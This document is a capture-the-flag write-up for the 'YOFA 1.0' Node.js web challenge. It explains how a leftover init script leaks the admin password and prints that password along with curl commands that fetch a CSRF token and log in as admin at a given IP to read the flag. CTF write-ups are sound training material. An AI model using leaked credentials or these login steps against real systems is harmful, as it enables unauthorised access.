YOFA 1.0
YOFA 1.0
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: source_code_grep, hardcoded_password_extraction, admin_login_with_leaked_credentials
Summary
Walkthrough of the CUSTOM Web YOFA 1.0. Task: Node.js/Express web app with JWT auth, admin panel, and provided source code containing leftover initialization script. Solution: grep source for hardcoded admin password in config/init-db.js, l
Description
YOFA 1.0 – grep challenge. В приложенных исходниках есть лишние данные, с помощью которых решение очень простое. (The attached source files contain extra data that makes the solution very simple.)
English summary: A Node.js/Express web application with JWT-based authentication, user registration/login, admin panel, message system, and a Puppeteer-based report/XSS bot. Source code archive (yofa_src_2.zip) is provided. The task was relaunched as v2 after v1 leaked too much data, but the fix was incomplete — a database initialization script with the admin password in plaintext was left in the archive.
Analysis
The application structure:
- Authentication: JWT tokens stored in
tokencookie, with CSRF protection via@dr.pogodin/csurf - Admin panel:
/admin/flag,/admin/msgs,/admin/users— all gated byauthMiddleware+ role check (req.user.role !== "admin") - Report system: Puppeteer bot at
/reportthat visits user-supplied URLs with an admin JWT cookie (set onlocalhostdomain) - JWT secrets: Inconsistent fallback —
supersecretjwtinauthMiddleware.jsvssupersecretinreport.js
The flag text (REDACTED) reveals the intended attack chain: client-side parameter pollution → SSRF → privilege escalation. The profile page had a ?id= query parameter that could be used for client-side parameter pollution, and the Puppeteer bot could be leveraged for SSRF.
However, the critical vulnerability was much simpler: config/init-db.js (line 42) contained the admin password in plaintext:
javascript read-only • copy allowedconst adminPassword = "S}>S3z'VH+r8u:}LFygl5GYe"; const hash = await bcrypt.hash(adminPassword, 10);
This file was a leftover from v1. The actual production database was initialized via init.sql with a pre-hashed bcrypt password, but init-db.js was never removed from the source archive — making the entire intended attack chain unnecessary.
Solution
Step 1: Grep source code for credentials
After extracting yofa_src_2.zip, search for hardcoded passwords:
bash read-only • copy allowedgrep -r "password" yofa_src_2/config/
Found in config/init-db.js line 42:
javascript read-only • copy allowedconst adminPassword = "S}>S3z'VH+r8u:}LFygl5GYe";
Step 2: Obtain CSRF token
The app uses CSRF protection on all POST endpoints. Fetch a token first:
bash read-only • copy allowedcurl -s -c cookies.txt http://109.172.39.144:3000/csrf-token # {"csrfToken":"GaStdSrq-95fnY2hrNgDj86fbII8mj_b2UFDaLrbvveetUHFQMGs"}
Step 3: Login as admin
bash read-only • copy allowedcurl -s -b cookies.txt -c cookies.txt \ -X POST http://109.172.39.144:3000/auth/login \ -H "Content-Type: application/json" \ -H "CSRF-Token: GaStdSrq-95fnY2hrNgDj86fbII8mj_b2UFDaLrbvveetUHFQMGs" \ -d '{"username":"admin","password":"S}>S3z'\''VH+r8u:}LFygl5GYe"}' # {"message":"Login successful","id":1}
Step 4: Access admin flag endpoint
bash read-only • copy allowedcurl -s -b cookies.txt http://109.172.39.144:3000/admin/flag
The response rendered the flag page containing the flag.
Key Takeaways / Lessons
- Mastering source_code_grep, hardcoded_password_extraction, admin_login_with_leaked_credentials was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-25 • CUSTOM • YOFA 1.0 • Difficulty: Easy